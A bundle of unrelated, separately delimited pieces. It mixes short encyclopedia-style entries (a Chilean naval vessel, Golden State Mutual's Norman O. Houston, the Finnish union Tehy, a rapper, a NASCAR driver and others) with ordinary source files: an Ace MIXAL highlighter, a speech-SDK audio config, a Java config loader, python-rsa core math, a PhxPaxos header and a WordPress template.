ace.define("ace/mode/mixal_highlight_rules",["require","exports","module","ace/lib/oop","ace/mode/text_highlight_rules"],function(e,t,n){"use strict";var r=e("../lib/oop"),i=e("./text_highlight_rules").TextHighlightRules,s=function(){var e=function(e){return e&&e.search(/^[A-Z\u0394\u03a0\u03a30-9]{1,10}$/)>-1&&e.search(/[A-Z\u0394\u03a0\u03a3]/)>-1},t=function(e){return e&&["NOP","ADD","FADD","SUB","FSUB","MUL","FMUL","DIV","FDIV","NUM","CHAR","HLT","SLA","SRA","SLAX","SRAX","SLC","SRC","MOVE","LDA","LD1","LD2","LD3","LD4","LD5","LD6","LDX","LDAN","LD1N","LD2N","LD3N","LD4N","LD5N","LD6N","LDXN","STA","ST1","ST2","ST3","ST4","ST5","ST6","STX","STJ","STZ","JBUS","IOC","IN","OUT","JRED","JMP","JSJ","JOV","JNOV","JL","JE","JG","JGE","JNE","JLE","JAN","JAZ","JAP","JANN","JANZ","JANP","J1N","J1Z","J1P","J1NN","J1NZ","J1NP","J2N","J2Z","J2P","J2NN","J2NZ","J2NP","J3N","J3Z","J3P","J3NN","J3NZ","J3NP","J4N","J4Z","J4P","J4NN","J4NZ","J4NP","J5N","J5Z","J5P","J5NN","J5NZ","J5NP","J6N","J6Z","J6P","J6NN","J6NZ","J6NP","JXAN","JXZ","JXP","JXNN","JXNZ","JXNP","INCA","DECA","ENTA","ENNA","INC1","DEC1","ENT1","ENN1","INC2","DEC2","ENT2","ENN2","INC3","DEC3","ENT3","ENN3","INC4","DEC4","ENT4","ENN4","INC5","DEC5","ENT5","ENN5","INC6","DEC6","ENT6","ENN6","INCX","DECX","ENTX","ENNX","CMPA","FCMP","CMP1","CMP2","CMP3","CMP4","CMP5","CMP6","CMPX","EQU","ORIG","CON","ALF","END"].indexOf(e)>-1},n=function(e){return e&&e.search(/[^ A-Z\u0394\u03a0\u03a30-9.,()+*/=$<>@;:'-]/)==-1};this.$rules={start:[{token:"comment.line.character",regex:/^ *\*.*$/},{token:function(t,r,i,s,o,u){return[e(t)?"variable.other":"invalid.illegal","text","keyword.control","text",n(o)?"text":"invalid.illegal","comment.line.character"]},regex:/^(\S+)?( +)(ALF)( )(.{5})(\s+.*)?$/},{token:function(t,r,i,s,o,u){return[e(t)?"variable.other":"invalid.illegal","text","keyword.control","text",n(o)?"text":"invalid.illegal","comment.line.character"]},regex:/^(\S+)?( +)(ALF)( )(\S.{4})(\s+.*)?$/},{token:function(n,r,i,s){return[e(n)?"variable.other":"invalid.illegal","text",t(i)?"keyword.control":"invalid.illegal","comment.line.character"]},regex:/^(\S+)?( +)(\S+)(?:\s*)$/},{token:function(r,i,s,o,u,a){return[e(r)?"variable.other":"invalid.illegal","text",t(s)?"keyword.control":"invalid.illegal","text",n(u)?"text":"invalid.illegal","comment.line.character"]},regex:/^(\S+)?( +)(\S+)( +)(\S+)(\s+.*)?$/},{defaultToken:"text"}]}};r.inherits(s,i),t.MixalHighlightRules=s}),ace.define("ace/mode/mixal",["require","exports","module","ace/lib/oop","ace/mode/text","ace/mode/mixal_highlight_rules"],function(e,t,n){"use strict";var r=e("../lib/oop"),i=e("./text").Mode,s=e("./mixal_highlight_rules").MixalHighlightRules,o=function(){this.HighlightRules=s};r.inherits(o,i),function(){this.$id="ace/mode/mixal",this.lineCommentStart="*"}.call(o.prototype),t.Mode=o});
(function() {
ace.require(["ace/mode/mixal"], function(m) {
if (typeof module == "object" && typeof exports == "object" && module) {
module.exports = m;
}
});
})();
```
|
```xml
// TODO: [P2] #3976 We should export this to allow web developers to bring in their own microphone.
// For example, it should enable React Native devs to bring in their microphone implementation and use Cognitive Services Speech Services.
import { AudioConfig } from 'microsoft-cognitiveservices-speech-sdk';
import CustomAudioInputStream, { AudioStreamNode, DeviceInfo, Format } from './CustomAudioInputStream';
type AttachFunction = (audioNodeId: string) => Promise<{
audioStreamNode: AudioStreamNode;
deviceInfo: DeviceInfo;
format: Format;
}>;
type TurnOffFunction = () => Promise<void>;
const SYMBOL_ATTACH = Symbol('attach');
const SYMBOL_TURN_OFF = Symbol('turnOff');
type CreateAudioConfigOptions = {
/** Callback function for attaching the device by returning an audio node. */
attach: AttachFunction;
/** `true` to enable diagnostic information, otherwise, `false`. */
debug?: true;
/**
* Callback function for turning off the device before detaching its node from an audio graph.
*
* Note: this is not called for Direct Line Speech.
*/
turnOff?: TurnOffFunction;
};
class CreateAudioConfigAudioInputStream extends CustomAudioInputStream {
constructor({ attach, debug, turnOff }: CreateAudioConfigOptions) {
if (!attach || typeof attach !== 'function') {
throw new Error('"attach" must be a function.');
}
if (turnOff && typeof turnOff !== 'function') {
throw new Error('"turnOff", if defined, must be a function.');
}
super({ debug });
// False alarm: indexer is a constant of type Symbol.
// eslint-disable-next-line security/detect-object-injection
this[SYMBOL_ATTACH] = attach;
// False alarm: indexer is a constant of type Symbol.
// eslint-disable-next-line security/detect-object-injection
this[SYMBOL_TURN_OFF] = turnOff;
}
[SYMBOL_ATTACH]: AttachFunction;
[SYMBOL_TURN_OFF]: TurnOffFunction;
protected performAttach(audioNodeId: string): Promise<{
audioStreamNode: AudioStreamNode;
deviceInfo: DeviceInfo;
format: Format;
}> {
// False alarm: indexer is a constant of type Symbol.
// eslint-disable-next-line security/detect-object-injection
return this[SYMBOL_ATTACH](audioNodeId);
}
protected performTurnOff(): Promise<void> {
const { [SYMBOL_TURN_OFF]: turnOff } = this;
return turnOff && turnOff();
}
}
export default function createAudioConfig(options: CreateAudioConfigOptions) {
return AudioConfig.fromStreamInput(new CreateAudioConfigAudioInputStream(options));
}
```
|
Bromoacetylalprenololmenthane (BAAM or BrAAM) is a β adrenergic receptor agonist.
References
Acetamides
N-tert-butyl-phenoxypropanolamines
Allyl compounds
Beta-adrenergic agonists
Organobromides
Cyclohexanes
|
The Micalvi was an auxiliary vessel of the Chilean Navy.
Career
Built by Ostseewerft in Frauendorf, now Golęcino, as the Bragi in 1925. She was used as a merchant vessel on the Baltic Sea. In 1926 she was sold to O.A. Müller, Hamburg, and renamed Bostonlines.
In 1928 she was sold to the Chilean Navy and sailed from Europe with a cargo of ammunition for the battleship Almirante Latorre, after arrival she was due to be broken up, but, like the Majestic, she was refitted as a supply vessel for the Punta Arenas region, where she gave service to the colonists in sparsely inhabited areas, especial Tortel and Navarino Island.
Chilean naval mutiny of 1931
During the Chilean naval mutiny of 1931 she was anchored in Talcahuano under the command of Lt Cdr. Pedro Espina Ritchie but the crew joined the mutiny and brought the ship into the hands of the insurrection. She was ordered to weigh anchor and sail to Lota in order to bring miners to support the rebellion, but there they were seized by Carabineros de Chile, then a cavalry troop of the army dedicated to police tasks.
Snipe incident
In 1958 the Micalvi crew built a lighthouse on the islet Snipe to improve the navigation on the Beagle Channel. The beacon of the lighthouse was installed on 1 May and it triggered the Snipe incident. The Argentine Navy shelled the Chilean beacon and disembarked an infantry company in the uninhabited islet.
Museum ship
Micalvi was decommissioned in 1961, and then used as pontoon. She was anchored in Puerto Williams in 1961 and declared as an historical ship and museum. Since 2007 used as clubhouse and restaurant in the local yacht harbour.
See also
Martin Gusinde Anthropological Museum in Puerto Williams
List of decommissioned ships of the Chilean Navy
References
External links
Chilean Navy website, Micalvi, transporte (2do)
Milcavi
Milcavi
Museum ships in Chile
|
```hcl
output C {
description = "It's unquoted output."
value = "c"
}
output "A" {
description = "A description"
value = "a"
}
// B description
output "B" {
value = "b"
}
```
|
Viraf Patel (born Viraf Phiroz Patel on 12 June 1980) is an Indian actor, model and screenwriter. He was a sailor in the merchant navy between 1999 and 2004 and was titled as The Grasim Mr. India 2005. He is best known for his role in the Yashraj Teleseries, Mahi Way as Shiv, Adityaraj Merchant in another Yashraj production-Kismat, as Shreshth in Teri Meri Love Stories opposite Shilpa Anand and most recently as Mrityunjay in BBC's production for Life OK "Ek Boond Ishq". The 2010 Limca Softdrink Campaign established Viraf as a formidable actor/face on the Indian advertising and celluloid space. He made his debut in Theatre with Vikram Kapadia's "Bombay Talkies" in 2012.
Personal life
Viraf was born and brought up in a Parsi Zoroastrian family in Pune, Maharashtra, India. Following encouragement from his brothers, he participated in Grasim Mister India Contest by Aditya Birla Group in 2005 and won the title of Grasim Mr India. He has two elder brothers.
Viraf got engaged to Saloni Khanna on 20 February 2021 and tied the knot on 6 May 2021.
Career
Viraf completed 5 years of sailing in the merchant navy, then won the personality pageant ’Grasim Mr. India 2005‘ and has been in front of the camera since. Campaigns, ramp shows & music videos, TV commercials (most notably the Limca 2010 one) & TV anchoring came post that.
Viraf has also been the face of the country's then largest garment retail brand Pantaloon between 2005 ~09. On the ramp, he has walked for the most sought after designers on the most watched platforms like India Fashion week, Lakme Fashion week et al., right until he started work on his TV debut.
He started his acting career in one of India's most successful television mini series, Mahi Way produced by Yashraj in 2010.
He followed it up with another show with the Yashraj banner, called Kismat, as the lead character of, Aditya Raj Merchant in 2011.
Viraf portrayed the role of a business man 'Shreshth' in the BBC telefilm 'Tere Meri Love Stories' opposite Shilpa Anand.
He played the role of Mrityunjay Singh Shekhawat in the life ok drama Ek Boondh Ishq, a BBC worldwide production and his first daily soap. The show ended in October 2014.
In 2015 Viraf started work on Mahesh Bhatt's Naamkarann, for the leading Hindi entertainment TV channel Star Plus, which eventually went on air went on air in Sept 2016.
Viraf was also seen playing a hot boss in the MTV series called BigF in April 2017.
He is also reported to be working on a documentary he is producing and directing himself since 2013, based on daughters of sex workers.
Viraf is working on few scripts and is learning screenwriting from Boman Irani at Spiral Bound
He made his debut on the digital space with 13 Mussoorie on Viu.
Television
Filmography
Advertisements
References
External links
Living people
Indian male television actors
Indian male film actors
1980 births
Indian male soap opera actors
21st-century Indian male actors
Parsi people
|
Norman O. Houston was an American businessman and president of Golden State Mutual Life Insurance Company, which at one time was the largest black-owned business west of the Mississippi.
Early life and career
Norman Oliver Houston was born on October 16, 1893, in San Jose, California, the son of Oliver Houston, a railroad porter and his wife, the former Lillian L. Jackson. His parents divorced when he was 12 years old. He was raised by his mother and stepfather in Fruitland, California, just outside Oakland. After graduating from high school, he attended the University of California, Berkeley for two years where he studied business administration. He then worked for approximately a year as a clerk for the board of insurance underwriters in California, before returning to UC Berkeley.
However, his studies were interrupted this time by World War I. Houston was drafted by the U. S. Army, where he served as the regimental personnel adjutant with the 32nd Division—the only African American to hold that position in the entire army. Upon his discharge, he once again returned to UC Berkeley to attend summer school, but left the following fall to become an agent with the National Life Insurance Company in Los Angeles. At National Life, Houston sold insurance to black waiters and cooks at the railroad commissary.
In the early 1920s, when William Nickerson, Jr. arrived in Los Angeles to establish a branch of the Texas-based American Mutual Benefit Association, he needed someone with local contacts who had some knowledge of the insurance business. As a result, he hired Houston as his first employee. Houston served as superintendent of agents for the new branch. In 1923, feeling he could make more money at a locally based company than one based out of state, Houston informed Nickerson that he signed a contract with Liberty Building and Loan Association. Houston was replaced by George A. Beavers, Jr., a Georgia-born businessman who was one of the first salesmen hired at the branch.
Louis M. Blodgett was the principal figure behind Liberty, who would later start Angelus Funeral Home in Los Angeles in 1925. Houston worked there as a field manager with the difficult task of selling bonds to economically strapped African Americans. He did not stay long with Liberty in the wake of an appealing business opportunity from his former employer.
Golden State
In 1925, when William Nickerson, Jr. decided to form Golden State Guarantee Fund Insurance Company in Los Angeles he convinced Houston to join him in the new venture. Nickerson asked Houston, who had previously worked with the insurance commission, to meet with them to determine the requirements to form an insurance company in California. They decided to establish the firm under Chapter 6 of the Insurance Code which required that five hundred life insurance policies be obtained and paid for in advance, and that a fund of $15,000 be deposited with the Department of Insurance. Houston, with his financial contacts, was given the responsibility to raise the $15,000 through the sale of fifty dollar certificates. Golden State was granted their license on July 23, 1925.
At this time it was very difficult for the approximately 40,000 blacks in California to obtain insurance from white-owned companies at reasonable rates. Starting in a small, one-room office on 1435 South Central Avenue, the initial officers were Nickerson (president), Beavers (vice president) and Houston as secretary/treasurer. In less than three months, the company had already outgrown their cramped offices and moved to a large storeroom on 3512 Central Avenue. Under Nickerson's leadership, Golden State Mutual prospered.
The following years were a period of rapid growth and expansion. By 1928, the company had grown to 100 employees and built a new headquarters at 4261 Central Avenue. That same year Golden State joined the National Negro Insurance Association. In 1931, the name was changed to Golden State Mutual Life Insurance Company. The firm opened its first office outside of California in 1938 when a branch was established in Chicago. Also in 1938, the officers asked the insurance commission to allow them to convert from assessment to legal reserve status. This required a $250,000 fund be deposited with the state, which was completed by 1941. In 1944, Golden State opened an office in Nickerson's home state of Texas. When Nickerson died in 1945, Houston assumed leadership of the company. At that time, Golden State Mutual Life Insurance Company was the seventh largest black insurance firm in the United States and the largest black-owned business west of the Mississippi.
With Houston at the helm, Golden State Mutual continued its growth and expansion. In 1946, they set up their Funeral Services Division. Three years later, the company opened a new building on the corner of Adams Boulevard and Western Avenue in Los Angeles that was designed by prominent architect Paul Williams. During the 1950s, Golden State expanded operations into Oregon, Washington and Arizona. They also installed electronic data processing systems and began offering mortgage insurance and group insurance. Houston served as president and chief executive officer of Golden State until January 1967, when he became chairman of the board and chief executive officer.
Later years
In 1970, Houston's two sons, Norman B. Houston and Ivan J. Houston took over active management of the company. The younger Norman, replaced his father as chairman of the executive committee. Ivan would replace the retiring Edgar J. Johnson as president. However, the elder Houston would still serve in various capacities at Golden State Mutual until his retirement in 1977, after which he was named honorary chairman and chairman emeritus.
Other business activities
Houston also continued to be involved in other business activities. In 1947, he was one of the organizers of Broadway Federal Savings and Loan (later Broadway Federal Bank and served as its chairman of the board for many years. He also was briefly involved in the organization of the National Bank of Los Angeles in 1949, which was the brainchild of H. A. Howard, manager of Broadway Federal.
Community activities
The first African American to be appointed to the California State Athletic Commission, Houston would later serve as chairman of the commission. Los Angeles Mayor Sam Yorty appointed him to the 1976 Olympic Games Committee. Houston was also chairman of the management committee of the 28th YMCA in Los Angeles.
Death
Houston died in Los Angeles on October 20, 1981, just four days after his 88th birthday. In addition to his sons, Houston was survived by his widow, Edythe and a daughter, Elizabeth Jean.
References
External links
The founding of the Golden State Mutual Life Insurance Company is retold in the radio drama "Mr Jerico Adjusts a Claim", a presentation from Destination Freedom
1893 births
1981 deaths
American businesspeople in insurance
Businesspeople from San Jose, California
People from Santa Clara County, California
University of California, Berkeley alumni
People from Humboldt County, California
African-American business executives
|
The Union of Health and Social Care Services - Tehy is a trade union in Finland. With 160,000 members Tehy is the major trade union for health care professionals, social workers and students of these professions in Finland. It is affiliated with the Finnish Confederation of Salaried Employees, and Public Services International.
The union was founded in 1982 with the merger of several smaller healthcare unions, the largest of which was the Finnish Union of Nurses. It affiliated to Confederation of Salaried Employees (TVK), but TVK went bankrupt in 1992, and the union transferred to the Finnish Confederation of Professionals. By 1998, it had 117,200 members.
In the autumn of 2007, Tehy organised a mass resignation in which 12,800 nurses and other members gave their notice, ending their employment on 19 November 2007. The resignations are in advocacy of higher salaries for Tehy members. The Finnish parliament promptly passed a law that now allows the authorities to force nurses back to work.
References
Finnish Confederation of Professionals
Public Services International
Healthcare trade unions in Finland
Trade unions established in 1982
1982 establishments in Finland
|
Toulgoetodes boudinoti is a moth in the family Crambidae. It was described by Patrice J.A. Leraut in 1988. It is found on Guadeloupe.
References
Moths described in 1988
Scopariinae
|
```java
/*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package com.networknt.service;
import com.networknt.config.Config;
import com.networknt.config.ConfigException;
import com.networknt.config.JsonMapper;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.List;
import java.util.Map;
/**
* Service Config Class that encapsulate all the service defined in service.yml
*
* @author Steve Hu
*/
public class ServiceConfig {
private static final Logger logger = LoggerFactory.getLogger(ServiceConfig.class);
public static final String CONFIG_NAME = "service";
public static final String SINGLETONS = "singletons";
private List<Map<String, Object>> singletons;
private Config config;
private Map<String, Object> mappedConfig;
private ServiceConfig() {
this(CONFIG_NAME);
}
private ServiceConfig(String configName) {
config = Config.getInstance();
mappedConfig = config.getJsonMapConfigNoCache(configName);
setConfigData();
}
public static ServiceConfig load() {
return new ServiceConfig();
}
public static ServiceConfig load(String configName) {
return new ServiceConfig(configName);
}
public Map<String, Object> getMappedConfig() {
return mappedConfig;
}
public List<Map<String, Object>> getSingletons() {
return singletons;
}
public void setConfigData() {
if(mappedConfig.get(SINGLETONS) instanceof String) {
// the json string is supported here.
String s = (String)mappedConfig.get(SINGLETONS);
if(logger.isTraceEnabled()) logger.trace("singletons = " + s);
singletons = JsonMapper.string2List(s);
} else if (mappedConfig.get(SINGLETONS) instanceof List) {
singletons = (List<Map<String, Object>>)mappedConfig.get(SINGLETONS);
} else {
if(logger.isInfoEnabled()) logger.info("singletons missing or wrong type.");
// ignore this situation as a particular application might not have any injections.
}
}
}
```
|
```shell
#!/bin/bash
cd ./desktop
echo '*************************'
echo 'Packaging the application'
echo '*************************'
npm run pack
```
|
```smalltalk
namespace Asp.Versioning.ApiExplorer;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Routing;
using Microsoft.AspNetCore.Routing.Patterns;
using Microsoft.Extensions.FileProviders;
using Microsoft.Extensions.Primitives;
internal sealed class TestEndpointDataSource : EndpointDataSource
{
public override List<Endpoint> Endpoints { get; } = CreateEndpoints();
public override IChangeToken GetChangeToken() => NullChangeToken.Singleton;
private static List<Endpoint> CreateEndpoints()
{
var endpoints = new List<Endpoint>();
AddOrderEndpoints( endpoints );
AddPeopleEndpoints( endpoints );
return endpoints;
}
private static void AddOrderEndpoints( List<Endpoint> endpoints )
{
// api version 0.9 and 1.0
endpoints.Add(
NewEndpoint(
"GET-orders/{id}",
"orders/{id}",
declared: [new( 0, 9 ), new( 1, 0 )],
supported: [new( 1, 0 )],
deprecated: [new( 0, 9 )] ) );
endpoints.Add(
NewEndpoint(
"POST-orders",
"orders",
declared: [new( 1, 0 )],
supported: [new( 1, 0 )] ) );
// api version 2.0
endpoints.Add(
NewEndpoint(
"GET-orders",
"orders",
declared: [new( 2, 0 )],
supported: [new( 2, 0 )] ) );
endpoints.Add(
NewEndpoint(
"GET-orders/{id}",
"orders/{id}",
declared: [new( 2, 0 )],
supported: [new( 2, 0 )] ) );
endpoints.Add(
NewEndpoint(
"POST-orders",
"orders",
declared: [new( 2, 0 )],
supported: [new( 2, 0 )] ) );
// api version 3.0
endpoints.Add(
NewEndpoint(
"GET-orders",
"orders",
declared: [new( 3, 0 )],
supported: [new( 3, 0 )],
advertised: [new( 4, 0 )] ) );
endpoints.Add(
NewEndpoint(
"GET-orders/{id}",
"orders/{id}",
declared: [new( 3, 0 )],
supported: [new( 3, 0 )],
advertised: [new( 4, 0 )] ) );
endpoints.Add(
NewEndpoint(
"POST-orders",
"orders",
declared: [new( 3, 0 )],
supported: [new( 3, 0 )],
advertised: [new( 4, 0 )] ) );
endpoints.Add(
NewEndpoint(
"DELETE-orders/{id}",
"orders/{id}",
declared: [new( 3, 0 )],
supported: [new( 3, 0 )],
advertised: [new( 4, 0 )] ) );
}
private static void AddPeopleEndpoints( List<Endpoint> endpoints )
{
// api version 0.9 and 1.0
endpoints.Add(
NewEndpoint(
"GET-people/{id}",
"people/{id}",
declared: [new( 0, 9 ), new( 1, 0 )],
supported: [new( 1, 0 )],
deprecated: [new( 0, 9 )] ) );
endpoints.Add(
NewEndpoint(
"POST-people",
"people",
declared: [new( 1, 0 )],
supported: [new( 1, 0 )] ) );
// api version 2.0
endpoints.Add(
NewEndpoint(
"GET-people",
"people",
declared: [new( 2, 0 )],
supported: [new( 2, 0 )] ) );
endpoints.Add(
NewEndpoint(
"GET-people/{id}",
"people/{id}",
declared: [new( 2, 0 )],
supported: [new( 2, 0 )] ) );
endpoints.Add(
NewEndpoint(
"POST-people",
"people",
declared: [new( 2, 0 )],
supported: [new( 2, 0 )] ) );
// api version 3.0
endpoints.Add(
NewEndpoint(
"GET-people",
"people",
declared: [new( 3, 0 )],
supported: [new( 3, 0 )],
advertised: [new( 4, 0 )] ) );
endpoints.Add(
NewEndpoint(
"GET-people/{id}",
"people/{id}",
declared: [new( 3, 0 )],
supported: [new( 3, 0 )],
advertised: [new( 4, 0 )] ) );
endpoints.Add(
NewEndpoint(
"POST-people",
"people",
declared: [new( 3, 0 )],
supported: [new( 3, 0 )],
advertised: [new( 4, 0 )] ) );
}
private static Endpoint NewEndpoint(
string displayName,
string pattern,
ApiVersion[] declared,
ApiVersion[] supported,
ApiVersion[] deprecated = null,
ApiVersion[] advertised = null,
ApiVersion[] advertisedDeprecated = null )
{
var metadata = new ApiVersionMetadata(
ApiVersionModel.Empty,
new ApiVersionModel(
declared,
supported,
deprecated ?? Enumerable.Empty<ApiVersion>(),
advertised ?? Enumerable.Empty<ApiVersion>(),
advertisedDeprecated ?? Enumerable.Empty<ApiVersion>() ) );
var builder = new RouteEndpointBuilder(
Route404,
RoutePatternFactory.Parse( pattern ),
default )
{
DisplayName = displayName,
Metadata = { metadata },
};
return builder.Build();
}
private static Task Route404( HttpContext context ) => Task.CompletedTask;
}
```
|
```html
<div class="postSocialPlugins">
<a
href="path_to_url"
class="twitter-share-button"
data-url="{{ page.url | replace:'index.html','' | absolute_url }}"
data-text="{% if page.title %}{{ page.title }}{% else %}{{ site.title }}{% endif %}"
data-hashtags="flowtype">Tweet</a>
<div
class="fb-like"
data-href="{{ page.url | replace:'index.html','' | absolute_url }}"
data-layout="button_count"
data-action="like"
data-show-faces="false"
data-share="true"></div>
</div>
<script>
window.fbAsyncInit = function() {
FB.init({
appId : '{{ site.fbappid }}',
xfbml : true,
version : 'v2.2'
});
};
(function(d, s, id){
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) {return;}
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/en_US/sdk.js";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));
</script>
<script>!function(d,s,id){
var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';
if(!d.getElementById(id)){
js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';
fjs.parentNode.insertBefore(js,fjs);
}
}(document, 'script', 'twitter-wjs');
</script>
```
|
```python
# -*- coding: utf-8 -*-
#
#
#
# path_to_url
#
# Unless required by applicable law or agreed to in writing, software
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
"""Core mathematical operations.
This is the actual core RSA implementation, which is only defined
mathematically on integers.
"""
from rsa._compat import is_integer
def assert_int(var, name):
if is_integer(var):
return
raise TypeError('%s should be an integer, not %s' % (name, var.__class__))
def encrypt_int(message, ekey, n):
"""Encrypts a message using encryption key 'ekey', working modulo n"""
assert_int(message, 'message')
assert_int(ekey, 'ekey')
assert_int(n, 'n')
if message < 0:
raise ValueError('Only non-negative numbers are supported')
if message > n:
raise OverflowError("The message %i is too long for n=%i" % (message, n))
return pow(message, ekey, n)
def decrypt_int(cyphertext, dkey, n):
"""Decrypts a cypher text using the decryption key 'dkey', working modulo n"""
assert_int(cyphertext, 'cyphertext')
assert_int(dkey, 'dkey')
assert_int(n, 'n')
message = pow(cyphertext, dkey, n)
return message
```
|
Davut Altundal, known professionally as AK Ausserkontrolle ( "AK Outta Control"), is a German rapper of Kurdish descent from Berlin.
Biography
Altundal was born in Germany. His parents are from the Mardin Province in Turkey. They emigrated to Lebanon and later to Germany. He grew up in Wedding, a borough of Berlin. His friend Fux Ausserkontrolle founded the hip hop group Ausserkontrolle where he was member a long time.
In 2017, Altundal decided to leave. In the same year, he also signed at Erstguterjunge, the music label of the rapper Bushido and his business partner Arafat Abou Chaker. After a dispute between Bushido and Abou Chaker, the label split up and AK Ausserkontrolle and almost all the other signings have left it in 2018. After that, he founded his own label XY Records.
Altundal has previously committed burglaries and robberies in stores. Because of his previous convictions, he was requested to leave Germany to Turkey in April 2019, but he refused, and in May 2019 he got a residence permit valid for at least three years.
AK Ausserkontrolle wears a bandana which covers his face to stay anonymous.
Discography
Albums
References
External links
German rappers
Kurdish rappers
Living people
People from Mitte
German people of Kurdish descent
Year of birth missing (living people)
People convicted of robbery
|
```objective-c
/*
Tencent is pleased to support the open source community by making
PhxPaxos available.
All rights reserved.
path_to_url
Unless required by applicable law or agreed to in writing, software
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
See the AUTHORS file for names of contributors.
*/
#pragma once
#include <string>
#include <inttypes.h>
#include "comm_include.h"
#include "sm_base.h"
#include "config_include.h"
namespace phxpaxos
{
class CommitCtx;
class IOLoop;
class Committer
{
public:
Committer(Config * poConfig, CommitCtx * poCommitCtx, IOLoop * poIOLoop, SMFac * poSMFac);
~Committer();
public:
int NewValueGetID(const std::string & sValue, uint64_t & llInstanceID);
int NewValueGetID(const std::string & sValue, uint64_t & llInstanceID, SMCtx * poSMCtx);
int NewValueGetIDNoRetry(const std::string & sValue, uint64_t & llInstanceID, SMCtx * poSMCtx);
int NewValue(const std::string & sValue);
public:
void SetTimeoutMs(const int iTimeoutMs);
void SetMaxHoldThreads(const int iMaxHoldThreads);
void SetProposeWaitTimeThresholdMS(const int iWaitTimeThresholdMS);
private:
void LogStatus();
private:
Config * m_poConfig;
CommitCtx * m_poCommitCtx;
IOLoop * m_poIOLoop;
SMFac * m_poSMFac;
WaitLock m_oWaitLock;
int m_iTimeoutMs;
uint64_t m_llLastLogTime;
};
}
```
|
```php
<?php
/**
* The template used for displaying page content
*
* @package WordPress
* @subpackage Twenty_Fifteen
* @since Twenty Fifteen 1.0
*/
?>
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
<?php
// Post thumbnail.
twentyfifteen_post_thumbnail();
?>
<header class="entry-header">
<?php the_title( '<h1 class="entry-title">', '</h1>' ); ?>
</header><!-- .entry-header -->
<div class="entry-content">
<?php the_content(); ?>
<?php
wp_link_pages(
array(
'before' => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfifteen' ) . '</span>',
'after' => '</div>',
'link_before' => '<span>',
'link_after' => '</span>',
/* translators: Hidden accessibility text. */
'pagelink' => '<span class="screen-reader-text">' . __( 'Page', 'twentyfifteen' ) . ' </span>%',
'separator' => '<span class="screen-reader-text">, </span>',
)
);
?>
</div><!-- .entry-content -->
<?php edit_post_link( __( 'Edit', 'twentyfifteen' ), '<footer class="entry-footer"><span class="edit-link">', '</span></footer><!-- .entry-footer -->' ); ?>
</article><!-- #post-<?php the_ID(); ?> -->
```
|
The following is the list of venues for the 2019 Pan American Games and 2019 Parapan American Games held in Lima, Peru and surrounding cities from July 26 to August 11, 2019 and from August 23 to September 1, 2019 respectively.
Venues
Ceremonies Venue
Cluster A
Villa Deportiva Regional del Callao
San Miguel
Stand alone
Cluster B
Villa Deportiva Nacional Videna
Stand alone
Cluster C
Villa María del Triunfo
Escuela Militar de Chorrilos
Stand alone
Cluster D
Venues outside of Lima
References
External links
Official website venue information
2019 Pan American Games
2019 Parapan American Games
Venues of the Pan American Games
Sports venues in Lima
Venues of the 2019 Pan and Parapan American Games
|
Jerry Marquis (born February 14, 1956) is a former NASCAR Driver who competed in the NASCAR Busch Series the NASCAR Craftsman Truck Series, The NASCAR Busch North Series and The NASCAR Featherlight Modified Series. He is from Broad Brook, Connecticut.
Marquis has won 7 NASCAR Busch North Series races putting him 16th on the all-time list in the Busch North Series. His home track was Stafford Motor Speedway. Jerry Marquis was also infamous for NASCAR's former commentator Bill Weber and the "bodyguard to the stars" incident. He spun out Tony Stewart who was racing a NASCAR Modified race car that day with five laps to go and when the race was over a personal friend was pulled away by Weber and was to do an interview. Marquis declined to comment.
Marquis also raced in two Busch series races for Mike Greci in the number 51 Wheels Discount Auto Chevy at Loudon and at Nazareth. He also raced in the 18 DANA Corp Truck at Richmond in 1997 driving for Kurt Roehrig. He is most notable for winning the 2000 NASCAR Winston Modified Tour Championship with sponsorship from LongView RV and Teddy Bear Pools. He won at Riverhead, Seeknook, Thompson, Waterford, and Stafford Springs.
Motorsports career results
NASCAR
(key) (Bold – Pole position awarded by qualifying time. Italics – Pole position earned by points standings or practice time. * – Most laps led.)
Busch Series
Craftsman Truck Series
Competed only in companion events with Busch North Series as BNS driver and ineligible for Busch Series points
References
External links
Living people
1956 births
People from East Windsor, Connecticut
Sportspeople from Hartford County, Connecticut
|
```smalltalk
using System;
using System.Collections.Generic;
using System.Collections.Immutable;
using System.Diagnostics;
using System.Linq;
using System.Text;
using Microsoft.CodeAnalysis;
using Roslyn.Utilities;
using Pchp.CodeAnalysis.FlowAnalysis;
using Pchp.CodeAnalysis.Semantics;
using Devsense.PHP.Syntax;
using Devsense.PHP.Syntax.Ast;
using Pchp.CodeAnalysis.Utilities;
using System.Globalization;
using System.Threading;
using Devsense.PHP.Ast.DocBlock;
namespace Pchp.CodeAnalysis.Symbols
{
/// <summary>
/// Declares a CLR field representing a PHP field (a class constant or a field).
/// </summary>
/// <remarks>
/// Its CLR properties vary depending on <see cref="SourceFieldSymbol.Initializer"/> and its evaluation.
/// Some expressions have to be evaluated in runtime which causes the field to be contained in <see cref="SynthesizedStaticFieldsHolder"/>.
/// </remarks>
internal partial class SourceFieldSymbol : FieldSymbol, IPhpPropertySymbol
{
#region IPhpPropertySymbol
/// <summary>
/// The PHP field kind - a class constant, an instance field or a static field.
/// </summary>
public PhpPropertyKind FieldKind => _fieldKind;
TypeSymbol IPhpPropertySymbol.ContainingStaticsHolder
{
get
{
return RequiresHolder ? (TypeSymbol)_containingType.StaticsContainer : null;
}
}
bool IPhpPropertySymbol.RequiresContext => this.Initializer != null && this.Initializer.RequiresContext;
TypeSymbol IPhpPropertySymbol.DeclaringType => _containingType;
/// <summary>
/// Optional. The field initializer expression.
/// </summary>
public override BoundExpression Initializer => _initializer;
#endregion
readonly SourceTypeSymbol _containingType;
readonly string _fieldName;
readonly PhpPropertyKind _fieldKind;
